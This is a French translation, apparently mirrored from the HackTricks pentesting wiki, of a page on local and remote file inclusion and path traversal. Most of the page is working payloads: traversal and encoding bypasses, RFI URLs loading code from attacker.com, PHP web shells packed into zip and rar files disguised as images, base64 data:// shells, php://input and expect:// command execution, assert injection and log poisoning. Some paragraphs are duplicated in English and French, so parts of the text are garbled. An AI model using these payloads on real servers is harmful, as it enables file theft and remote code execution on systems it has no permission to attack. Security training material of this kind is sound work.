mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-18 23:18:33 +00:00
711 lines
41 KiB
Markdown
711 lines
41 KiB
Markdown
# Inclusion de fichiers/Traversée de chemin
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**HackenProof est la plateforme des primes de bugs cryptographiques.**
|
|
|
|
**Obtenez des récompenses sans délai**\
|
|
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
|
|
|
|
**Acquérez de l'expérience en pentest web3**\
|
|
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
|
|
|
|
**Devenez une légende du piratage web3**\
|
|
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
|
|
|
|
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos piratages !
|
|
|
|
{% embed url="https://hackenproof.com/register" %}
|
|
|
|
## Inclusion de fichiers
|
|
|
|
**Inclusion de fichiers distants (RFI) :** Le fichier est chargé à partir d'un serveur distant (Idéal : vous pouvez écrire le code et le serveur l'exécutera). En PHP, cela est **désactivé** par défaut (**allow\_url\_include**).\
|
|
**Inclusion de fichiers locaux (LFI) :** Le serveur charge un fichier local.
|
|
|
|
La vulnérabilité se produit lorsque l'utilisateur peut contrôler de quelque manière que ce soit le fichier qui va être chargé par le serveur.
|
|
|
|
Fonctions PHP vulnérables : require, require\_once, include, include\_once
|
|
|
|
Un outil intéressant pour exploiter cette vulnérabilité : [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
|
|
|
## Aveugle - Intéressant - Fichiers LFI2RCE
|
|
```python
|
|
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
|
```
|
|
### **Linux**
|
|
|
|
**En mélangeant plusieurs listes LFI \*nix et en ajoutant plus de chemins, j'ai créé celle-ci :**
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
|
|
|
Essayez également de changer `/` pour `\`\
|
|
Essayez également d'ajouter `../../../../../`
|
|
|
|
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (afin de vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
|
|
|
### **Windows**
|
|
|
|
En fusionnant plusieurs listes, j'ai créé celle-ci :
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
|
|
|
Essayez également de changer `/` pour `\`\
|
|
Essayez également de supprimer `C:/` et d'ajouter `../../../../../`
|
|
|
|
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (afin de vérifier si la vulnérabilité existe) peut être trouvée [ici](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
|
|
|
### **OS X**
|
|
|
|
Consultez la liste LFI de Linux.
|
|
|
|
## LFI de base et contournements
|
|
|
|
Tous les exemples sont pour l'inclusion de fichiers locaux, mais peuvent également être appliqués à l'inclusion de fichiers distants (page=[http://monserveur.com/phpshellcode.txt\\](http://monserveur.com/phpshellcode.txt\)/).
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd
|
|
```
|
|
### séquences de traversée dépouillées de manière non récursive
|
|
|
|
When performing file inclusion attacks, it is common to use traversal sequences to access files outside of the intended directory. However, in some cases, the application may strip these traversal sequences in a non-recursive manner.
|
|
|
|
Lors de l'exécution d'attaques d'inclusion de fichiers, il est courant d'utiliser des séquences de traversée pour accéder à des fichiers en dehors du répertoire prévu. Cependant, dans certains cas, l'application peut supprimer ces séquences de traversée de manière non récursive.
|
|
|
|
For example, let's say the application replaces "../" with an empty string. If we provide the input "../../../../etc/passwd", the application will strip the "../" part, resulting in "etc/passwd". This can limit the effectiveness of traditional traversal sequences.
|
|
|
|
Par exemple, supposons que l'application remplace "../" par une chaîne vide. Si nous fournissons l'entrée "../../../../etc/passwd", l'application supprimera la partie "../", ce qui donnera "etc/passwd". Cela peut limiter l'efficacité des séquences de traversée traditionnelles.
|
|
|
|
To bypass this non-recursive stripping, we can use alternative traversal sequences that are not affected by the application's filtering. For instance, we can try using encoded characters or different representations of traversal sequences.
|
|
|
|
Pour contourner cette suppression non récursive, nous pouvons utiliser des séquences de traversée alternatives qui ne sont pas affectées par le filtrage de l'application. Par exemple, nous pouvons essayer d'utiliser des caractères encodés ou des représentations différentes des séquences de traversée.
|
|
|
|
By experimenting with different traversal sequences, we can potentially find a sequence that the application does not strip, allowing us to access files outside of the intended directory.
|
|
|
|
En expérimentant avec différentes séquences de traversée, nous pouvons potentiellement trouver une séquence que l'application ne supprime pas, ce qui nous permet d'accéder à des fichiers en dehors du répertoire prévu.
|
|
```python
|
|
http://example.com/index.php?page=....//....//....//etc/passwd
|
|
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
|
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|
```
|
|
### **Octet nul (%00)**
|
|
|
|
Contourner l'ajout de caractères supplémentaires à la fin de la chaîne fournie (contournement de : $\_GET\['param']."php")
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd%00
|
|
```
|
|
Ceci est **résolu depuis PHP 5.4**
|
|
|
|
### **Encodage**
|
|
|
|
Vous pouvez utiliser des encodages non standard tels que l'encodage double URL (et d'autres):
|
|
```
|
|
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
|
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
|
```
|
|
### À partir d'un dossier existant
|
|
|
|
Il se peut que le back-end vérifie le chemin du dossier :
|
|
```python
|
|
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|
```
|
|
### Identification des dossiers sur un serveur
|
|
|
|
Selon le code applicatif / les caractères autorisés, il est possible d'explorer de manière récursive le système de fichiers en découvrant les dossiers et pas seulement les fichiers. Pour ce faire :
|
|
|
|
* identifiez la "profondeur" de votre répertoire actuel en récupérant avec succès `/etc/passwd` (si vous êtes sur Linux) :
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
|
```
|
|
* Essayez de deviner le nom d'un dossier dans le répertoire actuel en ajoutant le nom du dossier (ici, `private`), puis en revenant à `/etc/passwd`:
|
|
```
|
|
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
|
|
```
|
|
* si l'application est vulnérable, il peut y avoir deux résultats différents pour la requête :
|
|
* si vous obtenez une erreur / aucune sortie, le dossier `private` n'existe pas à cet emplacement
|
|
* si vous obtenez le contenu de `/etc/passwd`, vous avez confirmé qu'il y a effectivement un dossier `private` dans votre répertoire actuel
|
|
* les dossiers que vous avez découverts en utilisant cette technique peuvent ensuite être fuzzés pour les fichiers (en utilisant une méthode LFI classique) ou pour les sous-répertoires en utilisant la même technique de manière récursive.
|
|
|
|
Il est possible d'adapter cette technique pour trouver des répertoires à n'importe quel emplacement dans le système de fichiers. Par exemple, si, dans la même hypothèse (répertoire actuel à une profondeur de 3 dans le système de fichiers), vous souhaitez vérifier si `/var/www/` contient un répertoire `private`, utilisez la charge utile suivante :
|
|
```
|
|
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|
```
|
|
La séquence de commandes suivante permet de générer des charges utiles en utilisant `sed` (1) comme entrée pour les outils de fuzzing d'URL tels que `ffuf` (2) :
|
|
```
|
|
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
|
|
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
|
|
```
|
|
Bien sûr, adaptez ces charges utiles à vos besoins en termes de profondeur / emplacement / liste de répertoires d'entrée.
|
|
|
|
### **Troncature de chemin**
|
|
|
|
Contournez l'ajout de plus de caractères à la fin de la chaîne fournie (contournement de: $\_GET\['param']."php")
|
|
```
|
|
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
|
|
Check if last 6 chars are passwd --> passwd/
|
|
Check if last 4 chars are ".php" --> shellcode.php/.
|
|
```
|
|
|
|
```
|
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
|
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
|
|
|
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
|
|
|
|
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
|
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
|
```
|
|
Toujours essayer de **commencer** le chemin avec un faux répertoire (a/).
|
|
|
|
**Cette vulnérabilité a été corrigée dans PHP 5.3.**
|
|
|
|
### **Astuces de contournement du filtre**
|
|
```
|
|
http://example.com/index.php?page=....//....//etc/passwd
|
|
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
|
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
|
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
|
```
|
|
## RFI Basique
|
|
|
|
Remote File Inclusion (RFI) is a vulnerability that allows an attacker to include a remote file on a web server. This can lead to the execution of arbitrary code and compromise the security of the server.
|
|
|
|
La Remote File Inclusion (RFI) est une vulnérabilité qui permet à un attaquant d'inclure un fichier distant sur un serveur web. Cela peut entraîner l'exécution de code arbitraire et compromettre la sécurité du serveur.
|
|
|
|
### Exploiting RFI
|
|
|
|
To exploit RFI, an attacker typically needs to find a vulnerable parameter in a web application that allows the inclusion of remote files. This can be achieved by injecting a URL that points to a malicious file hosted on a remote server.
|
|
|
|
Pour exploiter la RFI, un attaquant doit généralement trouver un paramètre vulnérable dans une application web qui permet l'inclusion de fichiers distants. Cela peut être réalisé en injectant une URL qui pointe vers un fichier malveillant hébergé sur un serveur distant.
|
|
|
|
For example, consider the following vulnerable PHP code:
|
|
|
|
Par exemple, considérez le code PHP vulnérable suivant :
|
|
|
|
```php
|
|
<?php
|
|
$file = $_GET['file'];
|
|
include($file);
|
|
?>
|
|
```
|
|
|
|
In this code, the value of the `file` parameter is directly used in the `include` statement without proper validation. An attacker can exploit this by injecting a remote URL as the value of the `file` parameter.
|
|
|
|
Dans ce code, la valeur du paramètre `file` est directement utilisée dans l'instruction `include` sans validation appropriée. Un attaquant peut exploiter cela en injectant une URL distante en tant que valeur du paramètre `file`.
|
|
|
|
To exploit this vulnerability, an attacker can craft a URL like the following:
|
|
|
|
Pour exploiter cette vulnérabilité, un attaquant peut créer une URL comme celle-ci :
|
|
|
|
```
|
|
http://example.com/vulnerable.php?file=http://attacker.com/malicious.php
|
|
```
|
|
|
|
When the vulnerable PHP script is executed with this URL, it will include the remote file `http://attacker.com/malicious.php`, allowing the attacker to execute arbitrary code.
|
|
|
|
Lorsque le script PHP vulnérable est exécuté avec cette URL, il inclura le fichier distant `http://attacker.com/malicious.php`, permettant à l'attaquant d'exécuter du code arbitraire.
|
|
|
|
### Prevention
|
|
|
|
To prevent RFI attacks, it is important to validate and sanitize all user-supplied input before using it in file inclusion operations.
|
|
|
|
Pour prévenir les attaques RFI, il est important de valider et de nettoyer toutes les entrées fournies par l'utilisateur avant de les utiliser dans des opérations d'inclusion de fichiers.
|
|
|
|
One way to mitigate this vulnerability is to maintain a whitelist of allowed files and only include files from this whitelist. Additionally, it is recommended to disable the ability to include remote files altogether, if not required by the application.
|
|
|
|
Une façon d'atténuer cette vulnérabilité est de maintenir une liste blanche des fichiers autorisés et d'inclure uniquement les fichiers de cette liste blanche. De plus, il est recommandé de désactiver la possibilité d'inclure des fichiers distants, si cela n'est pas nécessaire pour l'application.
|
|
```python
|
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
|
```
|
|
## Élément racine Python
|
|
|
|
En Python, dans un code comme celui-ci :
|
|
```python
|
|
# file_name is controlled by a user
|
|
os.path.join(os.getcwd(), "public", file_name)
|
|
```
|
|
Si l'utilisateur passe un **chemin absolu** à **`file_name`**, le **chemin précédent est simplement supprimé** :
|
|
```python
|
|
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|
'/etc/passwd'
|
|
```
|
|
C'est le comportement prévu selon [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
|
|
|
|
> Si un composant est un chemin absolu, tous les composants précédents sont ignorés et la jointure continue à partir du composant de chemin absolu.
|
|
|
|
## Java List Directories
|
|
|
|
Il semble que si vous avez une traversée de chemin dans Java et que vous **demandez un répertoire** au lieu d'un fichier, une **liste du répertoire est renvoyée**. Cela ne se produira pas dans d'autres langages (à ma connaissance).
|
|
|
|
## Top 25 paramètres
|
|
|
|
Voici une liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (à partir de [ce lien](https://twitter.com/trbughunters/status/1279768631845494787)) :
|
|
```
|
|
?cat={payload}
|
|
?dir={payload}
|
|
?action={payload}
|
|
?board={payload}
|
|
?date={payload}
|
|
?detail={payload}
|
|
?file={payload}
|
|
?download={payload}
|
|
?path={payload}
|
|
?folder={payload}
|
|
?prefix={payload}
|
|
?include={payload}
|
|
?page={payload}
|
|
?inc={payload}
|
|
?locate={payload}
|
|
?show={payload}
|
|
?doc={payload}
|
|
?site={payload}
|
|
?type={payload}
|
|
?view={payload}
|
|
?content={payload}
|
|
?document={payload}
|
|
?layout={payload}
|
|
?mod={payload}
|
|
?conf={payload}
|
|
```
|
|
## LFI / RFI en utilisant des wrappers et des protocoles PHP
|
|
|
|
### php://filter
|
|
|
|
Les filtres PHP permettent d'effectuer des opérations de **modification de base sur les données** avant leur lecture ou leur écriture. Il existe 5 catégories de filtres :
|
|
|
|
* [Filtres de chaîne](https://www.php.net/manual/en/filters.string.php) :
|
|
* `string.rot13`
|
|
* `string.toupper`
|
|
* `string.tolower`
|
|
* `string.strip_tags` : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
|
|
* Notez que ce filtre a disparu des versions modernes de PHP
|
|
* [Filtres de conversion](https://www.php.net/manual/en/filters.convert.php)
|
|
* `convert.base64-encode`
|
|
* `convert.base64-decode`
|
|
* `convert.quoted-printable-encode`
|
|
* `convert.quoted-printable-decode`
|
|
* `convert.iconv.*` : Transforme en une autre encodage (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de tous les encodages** pris en charge, exécutez la commande suivante dans la console : `iconv -l`
|
|
|
|
{% hint style="warning" %}
|
|
En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui peut être utile pour écrire du texte arbitraire ou exécuter une fonction comme include avec du texte arbitraire. Pour plus d'informations, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
|
{% endhint %}
|
|
|
|
* [Filtres de compression](https://www.php.net/manual/en/filters.compression.php)
|
|
* `zlib.deflate` : Compresse le contenu (utile si vous devez exfiltrer beaucoup d'informations)
|
|
* `zlib.inflate` : Décompresse les données
|
|
* [Filtres de chiffrement](https://www.php.net/manual/en/filters.encryption.php)
|
|
* `mcrypt.*` : Obsolète
|
|
* `mdecrypt.*` : Obsolète
|
|
* Autres filtres
|
|
* En exécutant `var_dump(stream_get_filters());` en PHP, vous pouvez trouver quelques **filtres inattendus** :
|
|
* `consumed`
|
|
* `dechunk` : inverse le codage chunked HTTP
|
|
* `convert.*`
|
|
```php
|
|
# String Filters
|
|
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
|
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
|
|
## Same chain without the "|" char
|
|
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
|
|
## string.string_tags example
|
|
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
|
|
|
|
# Conversion filter
|
|
## B64 decode
|
|
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
|
|
## Chain B64 encode and decode
|
|
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
|
|
## convert.quoted-printable-encode example
|
|
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
|
|
=C2=A3hellooo=3D
|
|
## convert.iconv.utf-8.utf-16le
|
|
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
|
|
|
|
# Compresion Filter
|
|
## Compress + B64
|
|
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
|
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
|
```
|
|
{% hint style="warning" %}
|
|
La partie "php://filter" est insensible à la casse.
|
|
{% endhint %}
|
|
|
|
### php://fd
|
|
|
|
Ce wrapper permet d'accéder aux descripteurs de fichiers ouverts par le processus. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :
|
|
```php
|
|
echo file_get_contents("php://fd/3");
|
|
$myfile = fopen("/etc/passwd", "r");
|
|
```
|
|
Vous pouvez également utiliser **php://stdin, php://stdout et php://stderr** pour accéder respectivement aux **descripteurs de fichiers 0, 1 et 2** (je ne suis pas sûr de l'utilité de cela dans une attaque)
|
|
|
|
### zip:// et rar://
|
|
|
|
Téléchargez un fichier Zip ou Rar contenant une PHPShell à l'intérieur et y accédez.\
|
|
Pour pouvoir exploiter le protocole rar, il **doit être spécifiquement activé**.
|
|
```bash
|
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
|
zip payload.zip payload.php;
|
|
mv payload.zip shell.jpg;
|
|
rm payload.php
|
|
|
|
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
|
|
|
# To compress with rar
|
|
rar a payload.rar payload.php;
|
|
mv payload.rar shell.jpg;
|
|
rm payload.php
|
|
http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|
```
|
|
### data://
|
|
|
|
La technique d'inclusion de fichiers est une vulnérabilité courante dans les applications Web qui permet à un attaquant d'inclure des fichiers distants dans le code source de l'application. Cela peut entraîner l'exécution de code malveillant, la divulgation d'informations sensibles ou d'autres attaques.
|
|
|
|
La vulnérabilité d'inclusion de fichiers peut être exploitée de différentes manières, notamment en utilisant des paramètres d'URL, des cookies, des en-têtes HTTP ou d'autres entrées utilisateur. L'attaquant peut manipuler ces entrées pour inclure des fichiers distants, tels que des fichiers système sensibles ou des scripts malveillants.
|
|
|
|
Pour détecter et exploiter cette vulnérabilité, un testeur de pénétration peut utiliser des techniques telles que l'inclusion de fichiers locaux, l'inclusion de fichiers distants, l'inclusion de fichiers null byte et l'inclusion de fichiers basée sur des paramètres d'URL.
|
|
|
|
Il est important de noter que l'inclusion de fichiers peut être une vulnérabilité critique, car elle peut permettre à un attaquant d'accéder à des informations sensibles, d'exécuter du code malveillant ou de compromettre complètement le système. Par conséquent, il est essentiel de mettre en œuvre des mesures de sécurité appropriées pour prévenir cette vulnérabilité, telles que la validation stricte des entrées utilisateur et l'utilisation de chemins de fichiers absolus plutôt que relatifs.
|
|
```
|
|
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
|
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
|
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
|
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
|
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
|
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|
```
|
|
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
|
|
|
|
Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**
|
|
|
|
### expect://
|
|
|
|
Expect has to be activated. You can execute code using this.
|
|
|
|
---
|
|
|
|
**Traduction en français :**
|
|
|
|
Fait amusant : vous pouvez déclencher une XSS et contourner l'auditeur Chrome avec : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
|
|
|
|
Notez que ce protocole est restreint par les configurations php **`allow_url_open`** et **`allow_url_include`**
|
|
|
|
### expect://
|
|
|
|
Expect doit être activé. Vous pouvez exécuter du code en utilisant cela.
|
|
```
|
|
http://example.com/index.php?page=expect://id
|
|
http://example.com/index.php?page=expect://ls
|
|
```
|
|
### input://
|
|
|
|
Spécifiez votre charge utile dans les paramètres POST
|
|
```
|
|
http://example.com/index.php?page=php://input
|
|
POST DATA: <?php system('id'); ?>
|
|
```
|
|
### phar://
|
|
|
|
Un fichier `.phar` peut également être utilisé pour exécuter du code PHP si le site web utilise une fonction comme `include` pour charger le fichier.
|
|
|
|
{% code title="create_phar.php" %}
|
|
```python
|
|
<?php
|
|
$phar = new Phar('test.phar');
|
|
$phar->startBuffering();
|
|
$phar->addFromString('test.txt', 'text');
|
|
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
|
|
|
$phar->stopBuffering();
|
|
```
|
|
{% endcode %}
|
|
|
|
Et vous pouvez compiler le `phar` en exécutant la ligne suivante :
|
|
```bash
|
|
php --define phar.readonly=0 create_path.php
|
|
```
|
|
Un fichier appelé `test.phar` sera généré que vous pouvez utiliser pour abuser de la LFI.
|
|
|
|
Si la LFI se contente de lire le fichier et de ne pas exécuter le code PHP à l'intérieur, par exemple en utilisant des fonctions telles que _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**. Vous pouvez essayer d'exploiter une **désérialisation** qui se produit lors de la **lecture** d'un **fichier** en utilisant le protocole **phar**.\
|
|
Pour plus d'informations, lisez l'article suivant :
|
|
|
|
{% content-ref url="phar-deserialization.md" %}
|
|
[phar-deserialization.md](phar-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Plus de protocoles
|
|
|
|
Consultez d'autres [**protocoles à inclure ici**](https://www.php.net/manual/en/wrappers.php)**:**
|
|
|
|
* [php://memory et php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (je ne suis pas sûr de l'utilité de cela dans une attaque d'inclusion de fichier)
|
|
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au système de fichiers local
|
|
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URL HTTP(s)
|
|
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URL FTP(s)
|
|
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flux de compression
|
|
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Recherche de noms de fichiers correspondant à un motif (ne renvoie rien de lisible, donc pas vraiment utile ici)
|
|
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
|
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (pas utile pour lire des fichiers arbitraires)
|
|
|
|
## LFI via l'instruction 'assert' de PHP
|
|
|
|
Si vous rencontrez une LFI difficile qui semble filtrer les chaînes de traversée telles que ".." et répondre avec quelque chose du genre "Tentative de piratage" ou "Belle tentative !", une charge utile d'injection 'assert' peut fonctionner.
|
|
|
|
Une charge utile comme celle-ci :
|
|
```
|
|
' and die(show_source('/etc/passwd')) or '
|
|
```
|
|
Le pirate informatique réussira à exploiter le code PHP pour un paramètre "file" qui ressemble à ceci :
|
|
```bash
|
|
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
|
|
```
|
|
Il est également possible d'obtenir une exécution de code à distance (RCE) dans une déclaration "assert" vulnérable en utilisant la fonction system().
|
|
```
|
|
' and die(system("whoami")) or '
|
|
```
|
|
Assurez-vous d'encoder les charges utiles URL avant de les envoyer.
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**HackenProof est le lieu de tous les programmes de primes pour les bugs de cryptographie.**
|
|
|
|
**Obtenez une récompense sans délai**\
|
|
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
|
|
|
|
**Acquérez de l'expérience en pentest web3**\
|
|
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
|
|
|
|
**Devenez une légende du hacking web3**\
|
|
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
|
|
|
|
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner de l'argent grâce à vos hacks !
|
|
|
|
{% embed url="https://hackenproof.com/register" %}
|
|
|
|
## Traversée de chemin PHP aveugle
|
|
|
|
{% hint style="warning" %}
|
|
Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**) mais le contenu n'est pas affiché.
|
|
{% endhint %}
|
|
|
|
Dans [**cet incroyable article**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html), il est expliqué comment une traversée de chemin aveugle peut être exploitée via un filtre PHP pour **exfiltrer le contenu d'un fichier via un oracle d'erreur**.
|
|
|
|
En résumé, la technique utilise le codage **"UCS-4LE"** pour rendre le contenu d'un fichier si **volumineux** que la **fonction PHP d'ouverture** du fichier déclenchera une **erreur**.
|
|
|
|
Ensuite, pour divulguer le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres filtres tels que **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **placer d'autres caractères au début et les divulguer**.
|
|
|
|
**Fonctions qui pourraient être vulnérables** : `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (seulement en lecture seule avec cela)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
|
|
|
Pour les détails techniques, consultez l'article mentionné !
|
|
|
|
## LFI2RCE
|
|
|
|
### RFI de base
|
|
```python
|
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
|
```
|
|
### Via le fichier journal Apache/Nginx
|
|
|
|
Si le serveur Apache ou Nginx est **vulnérable à LFI** à l'intérieur de la fonction d'inclusion, vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, en définissant à l'intérieur de l'**agent utilisateur** ou d'un **paramètre GET** une coquille PHP comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier.
|
|
|
|
{% hint style="warning" %}
|
|
Notez que **si vous utilisez des guillemets doubles** pour la coquille au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP générera une erreur** et **rien d'autre ne sera exécuté**.
|
|
|
|
